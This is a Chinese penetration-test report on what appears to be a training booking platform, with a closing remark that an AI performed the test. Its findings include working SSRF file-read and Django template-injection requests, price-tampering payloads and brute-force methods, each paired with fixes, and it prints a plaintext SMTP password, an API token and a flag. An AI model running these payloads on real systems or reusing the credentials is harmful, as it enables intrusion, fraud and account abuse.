渗透测试报告

Penetration Testing Report

文档修订记录

一、执行摘要

本报告为【A公司安全部门】委托【安全服务工程师】对其指定的旅游景点预订平台（好靶场演练环境）进行安全渗透测试的成果报告。本次渗透测试旨在通过模拟攻击者的视角，对目标系统进行全面的安全评估，发现潜在的安全漏洞和风险隐患，并提出相应的修复建议。

1.1 测试概况

1.2 总体风险评级

根据本次渗透测试结果，目标系统的总体安全风险评级如下：

1.3 总体评价

目标系统的整体安全状况不容乐观，属于缺陷密度较高的业务系统。本次测试从黑盒起手，仅通过前端 JS 资产分析就发现了两个前端代码中完全未被调用、残留在线上的调试接口（图片导入、模板预览），而这恰恰是全站危害最大的两处漏洞的入口：import-image 可用 file:// 协议读取服务器任意文件（服务以 root 运行），review-template-preview 可注入 Django 模板语法直接读出 SECRET_KEY 与 SMTP 邮箱密码明文。整条攻击链不需要登录、不需要特殊工具、不触发告警，最终从 /proc/self/environ 中直接拿到了环境变量里的挑战旗标（flag）。

在资金安全方面，订单金额完全由客户端提交、服务端不做强制重算，负数价格反向充值、0.01 元购买 280 元门票、零元购均可被任意普通用户利用。测试期间，演练账户余额已被从 2000.00 元刷至 2479.99 元，完整验证了攻击路径的可行性。此外，生产环境 DEBUG=True、CORS 任意源反射叠加凭证传递、验证码接口无频率限制等配置与设计类问题进一步放大了攻击面。

综合来看，建议立即按照第六章的优先级清单启动修复（P0 项应在 24～48 小时内处理），并对已泄露的 SECRET_KEY 与 SMTP 邮箱密码执行轮换。

二、测试概述

2.1 测试目的

本次渗透测试的主要目的包括：

• 评估目标系统的安全防护能力，发现潜在的安全漏洞；
• 验证现有安全防护措施的有效性；
• 为系统安全加固提供依据和改进建议；
• 满足合规性要求，提升整体安全水平。

2.2 测试范围

本次渗透测试的范围如下表所示：

2.3 测试方法

本次渗透测试参照以下标准和方法进行：

1. OWASP Testing Guide v4.2
2. PTES (Penetration Testing Execution Standard)
3. NIST SP 800-115 技术指南
4. GB/T 28448-2019 信息安全技术 网络安全等级保护测评要求

实际执行按 信息收集 → 漏洞探测 → 漏洞验证 → 深度利用 的顺序展开：先下载前端静态资源完成接口枚举，再借助 DEBUG 错误页与 DRF 路由根接口建立全站 API 地图，随后重点覆盖订单金额逻辑、认证会话、服务端请求伪造与模板渲染等高危类目，最后利用 SSRF 读取后端源码完成灰盒级确认。

2.4 测试限制

在本次渗透测试过程中，存在以下限制条件：

• 测试在指定时间段内进行，未进行持续性监控；
• 测试仅覆盖约定范围内的目标，不涉及范围外系统；
• 测试未涉及社会工程学和物理安全测试（除非另行约定）；
• 严格遵守非破坏性约束：未删除/篡改任何数据、未执行 DoS、未植入持久化后门；
• 邮件发送量严格控制在授权额度内（共 10 封，全部发往自有测试邮箱，额度已用尽）；
• 测试结果仅反映测试期间的安全状况。

三、风险评级标准

本次渗透测试采用以下风险评级标准，根据漏洞的可利用性、影响范围和危害程度进行综合评估：

四、漏洞概览

4.1 漏洞统计

本次渗透测试共发现安全漏洞 13 个，整体系统评估为 【严重】 系统。其中两项严重漏洞（SSRF / SSTI）完全无需认证即可利用，从匿名访问直达服务器任意文件读取与全量配置泄露，这在同类业务系统中属于罕见的纵深防护失守。

4.2 漏洞清单

五、漏洞详情

VULN-001 未授权SSRF导致任意文件读取

漏洞原理：

import-image 接口接受任意 url 参数并在服务端发起请求，未做任何协议限制、目标域名白名单与内网地址过滤，且接口权限配置为 AllowAny。底层实现直接使用 Python urllib 的 urlopen() 打开 URL，而 urllib 原生支持 file 协议，因此攻击者只需将 URL 改为 file:/// 前缀即可读取服务器上的任意文件，文件内容以 preview 字段回显（前 1024 字节）。更严重的是，Gunicorn 进程以 root 用户运行，读取范围覆盖整个文件系统，包括 /etc/passwd、应用源码、数据库文件乃至 /proc 虚拟文件系统。

发现过程：

在对前端打包 JS 资产（index.js）做接口枚举时，发现 activity 模块存在两个前端代码中完全未被调用的端点，属于残留调试接口。对 import-image 构造 file:// 请求后直接命中。

复现步骤（匿名即可完成）：

第一步，构造包含 file 协议 URL 的 JSON 请求体；第二步，直接 POST 到接口；第三步，从响应 preview 字段读取文件内容。

1
2
3
4
5

POST /api/activity/import-image/ HTTP/1.1
Host: hbc2.haobachang.com:30589
Content-Type: application/json

{"url":"file:///etc/passwd"}

1
2
3

HTTP/1.1 200 OK
{"code":0,"msg":"ok","data":{"status":null,"content_type":"text/plain",
"preview":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin/..."}}

（截图位置：读取 /etc/passwd 的请求与响应回显）

读取进程环境变量，直接获得挑战旗标与运行环境信息：

1
2
3
4

POST /api/activity/import-image/ HTTP/1.1
Content-Type: application/json

{"url":"file:///proc/self/environ"}

1
2
3
4
5

HTTP/1.1 200 OK（篇幅有限，节选关键变量）
... PWD=/app
GZCTF_FLAG=flag{3366227d319b428a96e5901a4f60d5c2}
FLAG=flag{3366227d319b428a96e5901a4f60d5c2}
SUPERVISOR_PROCESS_NAME=gunicorn HOME=/root ...

（截图位置：环境变量回显中的 flag）

还可以任意读取应用源码，为后续漏洞提供灰盒依据（详见 VULN-004 中读出的序列化器代码）：

1
2
3
4

POST /api/activity/import-image/ HTTP/1.1
Content-Type: application/json

{"url":"file:///app/apps/order/serializers.py"}

危害：

本次测试已实际读取系统用户文件、全部应用源码、数据库文件头部与进程环境变量，并直接获得 flag。对于云环境，同类漏洞还可用于探测内网端口与云元数据接口（获取临时凭据），影响范围远超单机。

修复建议：

1. 删除或严格限制 import-image 调试接口的生产可达性，此类接口不应出现在对外环境；
2. 如确有代理拉取图片的业务需求，必须建立 URL 白名单（仅允许 https 协议与受信域名），禁止内网地址段与 file/gopher/dict 等协议；
3. 为运行环境配置独立的代理出口与 DNS 解析监控，使服务端不能直接触达任意目标。

VULN-002 未授权SSTI服务端模板注入导致全量配置泄露

漏洞原理：

review-template-preview 接口将用户提交的 template 字段直接交给 django.template.Template(...).render(...) 渲染，构成教科书级的服务端模板注入。渲染上下文中包含 settings 对象与当前用户对象，因此攻击者可以通过模板语法遍历读取任意 settings 属性——包括被 Django 安全过滤器打码的 SECRET_KEY 与 EMAIL_HOST_PASSWORD。接口同样不需要任何认证。

复现步骤（匿名即可完成）：

第一步，向接口提交含模板语法的 JSON 体；第二步，从响应 data 字段直接读出渲染结果。

读取 Django SECRET_KEY：

1
2
3
4

POST /api/activity/review-template-preview/ HTTP/1.1
Content-Type: application/json

{"template":"{{ settings.SECRET_KEY }}"}

1
2

HTTP/1.1 200 OK
{"code":0,"msg":"ok","data":"django-insecure-haopaochang-travel-platform-2026"}

（截图位置：SECRET_KEY 回显）

读取 SMTP 邮箱密码明文：

1
2
3
4

POST /api/activity/review-template-preview/ HTTP/1.1
Content-Type: application/json

{"template":"{{ settings.EMAIL_HOST_PASSWORD }}"}

1
2
3
4

HTTP/1.1 200 OK
{"code":0,"msg":"ok","data":"WLbJU4EApDypVskw"}   // haobachang@126.com 的SMTP密码明文
// 另可读: EMAIL_HOST_USER=haobachang@126.com, EMAIL_PORT=465
// 测试中已尝试登录IMAP（被拒，未开通）与SMTP（550限制登录IP），凭据有效性依赖登录来源，但泄露事实成立

（截图位置：SMTP 密码回显）

利用 {% debug %} 标签倾倒全部渲染上下文与已加载模块清单：

1
2
3
4

POST /api/activity/review-template-preview/ HTTP/1.1
Content-Type: application/json

{"template":"{% debug %}"}

1
2
3
4
5

HTTP/1.1 200 OK
{'activity_name': '示例活动',
 'settings': <LazySettings "DjDemo.settings">,
 'user': <User: testuser>}{'False': False, 'None': None, 'True': True}
... 后接全部已加载 Python 模块清单（篇幅所限省略）

危害：

SECRET_KEY 泄露意味着攻击者可伪造会话 Cookie、密码重置令牌与 CSRF 令牌，结合对外可达的 /admin/ 后台可直接威胁管理员账户；SMTP 密码泄露可被用于冒充平台向全量用户发送钓鱼邮件。{% debug %} 标签则进一步扩大信息收集面。

修复建议：

1. 删除该调试接口；
2. 如确有评价模板预览需求，应使用白名单模板机制而非直接渲染用户输入，并对输入做严格的模板语法过滤（禁止 {% %} 标签与 debug、settings 等敏感变量）；
3. 立即轮换 SECRET_KEY 与 SMTP 密码，并为邮箱启用独立授权码。

VULN-003 负数价格订单反向充值刷余额

漏洞原理：

订单创建序列化器接受客户端传入的 total_price 字段且未做非负校验，钱包支付逻辑按订单金额直接扣减余额。当订单金额为负数时，扣减负数等价于向用户钱包增加对应正数金额，形成"反向充值"。攻击者反复循环下单-支付即可无限刷余额。

复现步骤：

第一步，正常登录并进入下单页；第二步，提交订单时将金额字段改为负数（如 -479.99）；第三步，调用钱包支付完成该订单；第四步，查询个人信息发现余额不降反升。

支付完成后查询余额快照：

1
2
3

GET /api/user/profile/ HTTP/1.1
Host: hbc2.haobachang.com:30589
Authorization: Token 33fe3dd93ff9dce4255cb23b0f66019f2b501e51

1
2
3
4
5

HTTP/1.1 200 OK
{"code":0,"msg":"ok","data":{"id":1,"username":"testuser",
"real_name":"PATCH_TEST","points":0,
"balance":"2479.99",
"email":"test@haopaochang.com", ...}}

1

注：初始余额为 2000.00，经负数价格订单支付后余额不降反升至 2479.99

（截图位置：下单页抓包改金额 + 支付成功 + 个人中心余额 2479.99 对比图）

危害：

直接资金损失。本次测试中演练账户余额由 2000.00 元被刷至 2479.99 元（已保留订单与余额快照证据），若接入真实支付渠道将造成直接资金损失与对账混乱。

修复建议：

金额必须由服务端根据数据库价格与数量重算，完全不信任客户端提交的任何金额字段；序列化器中删除 total_price 与 discount 的入口；支付前对金额做非负与上限校验，并引入数据库事务保证扣减原子性。

VULN-004 任意价格篡改与零元购

漏洞原理：

与 VULN-003 同根：金额字段由客户端控制。攻击者可将任意商品以极低价（如 0.01 元）甚至零元下单支付。有意思的是，通过 VULN-001 读取服务器源码时，发现开发者注释中明确承认了这一设计，属于靶场人为布置，但其代码模式在真实项目中同样常见（典型的"信任客户端"反模式）。

复现步骤：

第一步，正常登录（测试账号 testuser / 123456），选一个 280 元的景点提交订单并抓包；第二步，在请求体末尾追加 total_price 与 final_price 字段并改为 0.01；第三步，放包后订单生成成功，转入支付流程；第四步，保持 Token 不变完成支付，实际仅扣款 0.01 元。

抓包修改后的请求体（追加金额字段）：

1
2
3
4
5
6
7
8

POST /api/order/create/ HTTP/1.1
Host: hbc2.haobachang.com:30589
Authorization: Token 33fe3dd93ff9dce4255cb23b0f66019f2b501e51
Content-Type: application/json

{"activity_id":3,"date_id":7,"quantity":1,
"name":"张三","phone":"123456",
"total_price":"0.01","final_price":"0.01"}

（截图位置：Burp 抓包对比原始请求与篡改后请求）

支付成功的响应与余额变化：

1
2
3
4

HTTP/1.1 200 OK
{"code":0,"msg":"ok","data":{"order_id":10,"status":"paid",
"total_price":"0.01","final_price":"0.01",...}}
// 账户余额仅减少 0.01 元，订单状态为已支付

（截图位置：支付 0.01 元成功 + 订单详情 + 余额仅减少 0.01 元）

从服务器读出的序列化器源码（经 VULN-001，/app/apps/order/serializers.py 原文节选）：

1
2
3
4
5
6
7

class OrderCreateSerializer(serializers.Serializer):
    activity_id = serializers.IntegerField()
    # ⚠ 故意制造的金额篡改漏洞（仅用于靶场练习，请勿用于生产环境）
    # 允许前端直接传入价格字段，服务端不再强制重算，
    # 攻击者可传 final_price=0.01 低价下单
    total_price = serializers.DecimalField(max_digits=10, decimal_places=2, required=False)
    discount = serializers.DecimalField(max_digits=10, decimal_places=2, required=False)

危害：

任何登录用户均可以 0.01 元购买 280 元的景点门票，或直接零元下单，平台商品收入归零；配合 VULN-005 库存绕过可大规模套现。

修复建议：

与 VULN-003 同步修复：服务端重算金额并删除客户端金额入口；对已产生的异常订单建立风控报表与人工审核流程。

VULN-005 库存校验绕过（超卖）

漏洞原理与复现：

订单创建时未对所选日期的剩余库存做充分校验与锁定。测试中对库存仅 50 份的景点日期提交了 99999 张的订单并成功创建，库存扣减与订单数量明显失衡。下单请求中的 quantity 字段直接被接受，服务端既未校验剩余库存，也未对单笔订单数量设置上限。

1
2
3
4
5
6

POST /api/order/create/ HTTP/1.1
Host: hbc2.haobachang.com:30589
Authorization: Token 33fe3dd93ff9dce4255cb23b0f66019f2b501e51
Content-Type: application/json

{"activity_id":3,"date_id":7,"quantity":99999,"name":"张三","phone":"123456"}

1

HTTP/1.1 200 OK —— 订单创建成功（该日期剩余库存仅 50）

（截图位置：下单前库存 50 的日期详情 + 提交 99999 张成功的订单详情）

危害：

超卖会直接导致到店无法履约、批量退款与商誉受损，也可被竞争对手用于恶意占用热门商品库存。

修复建议：

下单时以数据库行级锁或乐观锁保证库存扣减的原子性，校验失败则整体回滚；对单笔订单数量设置合理上限。

VULN-006 生产环境DEBUG模式开启

漏洞原理：

Django 配置中 DEBUG=True 且 ALLOWED_HOSTS=['*']。任何未捕获异常均会返回完整调试页，包含完整堆栈、全部框架配置项（数据库路径、邮件服务器、中间件清单等）与应用内部路由表。本次测试的路由地图与邮件配置情报均源于此。

复现步骤：

匿名访问一个不存在的 API 路径即可触发 404 调试页，其中包含全站完整路由表：

1
2

GET /api/aaaa/ HTTP/1.1
Host: hbc2.haobachang.com:30589

1
2
3
4
5
6

HTTP/1.1 404 Not Found（Django 调试页）
Using the URLconf defined in DjDemo.urls, Django tried these URL patterns, in this order:
  1. admin/
  2. api/user/login/ ... api/user/profile/ ... api/user/send-code/ ...
  3. api/order/create/ ... api/order/<pk>/pay/ ...
  4. api/activity/ ... import-image/ ... review-template-preview/ ...

（截图位置：404 调试页中的完整路由表）

触发未捕获异常则泄露 settings 全表：

1

GET /api/user/favorites/toggle/ HTTP/1.1（构造触发异常的请求）

1
2
3
4
5
6
7

HTTP/1.1 500 Internal Server Error（Django 调试页节选）
<h1>PermissionDenied at /api/user/favorites/toggle/</h1>
... Using settings module DjDemo.settings ...
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3',
'NAME': PosixPath('/app/db.sqlite3') ...}}
EMAIL_HOST = 'smtp.126.com'   EMAIL_PORT = 465
DEFAULT_FROM_EMAIL = '好靶场 <haobachang@126.com>'

（截图位置：500 调试页中的 settings 配置表格）

危害：

攻击者无需任何凭据即可获得应用内部结构、数据库路径、邮件配置与全部中间件信息，为定向攻击省去大量侦察工作。

修复建议：

生产环境强制 DEBUG=False，ALLOWED_HOSTS 收敛为实际域名列表；为异常接口配置统一的 JSON 错误响应，堆栈信息只写入日志系统。

VULN-007 CORS任意源反射叠加凭证传递

漏洞原理与复现：

配置中 CORS_ALLOW_ALL_ORIGINS=True 且 CORS_ALLOW_CREDENTIALS=True，服务器会反射任意 Origin 并允许携带凭证。向任意 API 发送带恶意 Origin 的请求即可验证：

1
2
3

GET /api/order/list/ HTTP/1.1
Host: hbc2.haobachang.com:30589
Origin: https://evil.attacker.com

1
2
3

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true

危害：

攻击者只需引诱登录用户访问恶意页面，即可在任意域下跨域读取受害用户的账户与订单数据。该平台主要使用 Token 认证，若 Token 保存于前端可读取的位置（如 localStorage），危害会进一步放大。

修复建议：

将 CORS 收敛为明确的前端域名白名单，关闭全域反射；仅在确有需要时启用凭证携带，并避免与通配符 Origin 同时开启。

VULN-008 SMTP邮箱凭据泄露

漏洞原理与危害：

系统使用的发信邮箱 haobachang@126.com 及其 SMTP 密码 WLbJU4EApDypVskw 存储于应用配置中，并被 SSTI 漏洞以明文形式完整读出。测试中已验证该密码未开通 IMAP 登录、SMTP 登录受 IP 白名单限制（返回 550），但凭据本身依赖登录来源与使用场景，泄露事实成立且必须按已泄露处理。攻击者获得凭据后，可在授权网络环境中登录该邮箱，冒充平台向全量用户发送钓鱼邮件，直接威胁用户资金与平台商誉。

修复建议：

立即修改密码并启用第三方邮箱授权码模式；将邮箱凭据移入环境变量或密钥管理系统；排查邮箱近期登录与发信记录确认是否被滥用。

VULN-009 邮箱轰炸（验证码无频率限制）

漏洞描述： send-code 接口对同一邮箱的发送次数没有任何频率与总量限制，也未接入图形验证码。测试中对单一测试邮箱连续触发了十封验证码邮件（授权额度内），全部成功送达。攻击者可对任意用户邮箱实施验证码轰炸，验证码为 6 位数字，可被配合暴力破解（见 VULN-010）。

复现： 循环调用 POST /api/user/send-code/，请求体 {"email":"victim@example.com"}，每次均返回 {"code":0,"msg":"ok"}，无任何拦截。

（截图位置：连续 10 封验证码邮件收件箱截图）

修复建议： 按邮箱与 IP 双维度限流（如 60 秒一次、每日上限），并接入图形验证码与风控评估。

VULN-010 验证码与登录口令无限暴力破解

漏洞描述： 登录接口与密码重置接口均无失败次数限制、无账户锁定机制、无验证码保护。结合 6 位数字验证码的有效窗口与无频率限制，在合理并发量下可在有效期内完成全空间枚举（10^6 次，配合多并发与有效期窗口完全可行）。

修复建议： 引入失败计数与指数退避（如 5 次失败锁定 15 分钟），登录与验证码接口接入风控监控告警。

VULN-011 登录接口用户名枚举

漏洞描述： 登录失败时对"用户不存在"与"密码错误"返回不同的错误信息，攻击者可据此批量确认注册用户名/邮箱是否存在，为钓鱼、撞库与定向暴力破解提供便利。

1
2
3
4

// 不存在的用户
{"code":1,"msg":"用户不存在"}
// 存在但密码错误
{"code":1,"msg":"密码错误"}

修复建议： 统一登录失败提示为"用户名或密码错误"，不泄露差异信息。

VULN-012 并发支付竞态条件

漏洞描述： 订单支付与状态更新之间无锁保护，并发重复提交支付请求时可对同一订单重复执行余额扣减或状态错乱（测试中对编号为 9 的订单重复提交支付并观察到异常行为）。若未来接入真实付款回调，竞态窗口可能被利用于重复收款。

修复建议： 在支付入口引入数据库行级锁或状态机检查（仅待支付订单可进入支付流程），保证支付动作幂等。

VULN-013 过期日期仍可下单

漏洞描述： 订单创建未校验所选活动日期是否已过期，历史日期仍可成功下单。该缺陷会影响订单有效性判定与退换责任划分，也可被用于制造无效库存占用。

修复建议： 下单前校验日期不得早于当天，并与库存校验共用同一个事务与锁。

六、修复建议汇总

6.1 修复优先级清单

综合漏洞危害、利用成本与业务影响，建议按以下优先级安排修复。P0 级应在 24～48 小时内处理，P1 级建议一周内，P2 级建议两周内完成，P3 级纳入常规安全加固迭代。

6.2 重点修复方案说明

金额安全（同时解决 VULN-003/004/005/013）： 订单创建序列化器仅接受 activity_id、日期、数量与联系人信息，删除 total_price 与 discount 入口；服务端在同一个事务内完成价格查询、日期有效性校验、库存行级锁扣减与订单入库，任一环节失败则整体回滚；支付环节先检查订单状态机（仅待支付可继续）并使用数据库原子更新，同时对余额扣减加非负与账户余额充足性双重校验。

调试接口治理（同时解决 VULN-001/002）： 从路由与视图层移除 import-image 与 review-template-preview；若因内部需求保留，必须增加 IsAdminUser 级别的权限类、URL 协议与域名双白名单、超时与响应体积限制，并禁用任何形式的用户输入直接渲染。发布流水线应增加静态扫描规则，检测到残留调试代码即阻断发布。

环境与凭据加固（同时解决 VULN-006/007/008）： 生产环境关闭 DEBUG 并保持关闭状态监控；ALLOWED_HOSTS 与 CORS 均收敛为明确域名；所有秘密移入环境变量或密钥管理系统，代码仓库中不得出现明文凭据；对已泄露的 SECRET_KEY 与邮箱密码执行轮换，并核查邮箱授权设置与登录日志。

七、附录

7.1 测试工具列表

7.2 参考标准

• OWASP Top 10:2021
• OWASP Testing Guide v4.2
• PTES (Penetration Testing Execution Standard)
• NIST SP 800-115 Technical Guide to Information Security Testing
• GB/T 28448-2019 信息安全技术 网络安全等级保护测评要求
• GB/T 30998-2014 信息技术 安全技术 信息安全风险评估规范

7.3 免责声明

本报告仅针对本次测试范围内指定的目标系统，测试结果仅反映测试期间的安全状况。由于系统环境的动态变化以及安全威胁的不断演进，本报告不能保证覆盖所有可能的安全风险。报告中提出的修复建议仅供参考，实际修复方案应结合系统实际情况由专业安全人员评估后实施。

7.4 联系方式

7.5 测试期间涉及的账号与凭据（存档）

AI进行渗透 手动复现的md太丑哈哈哈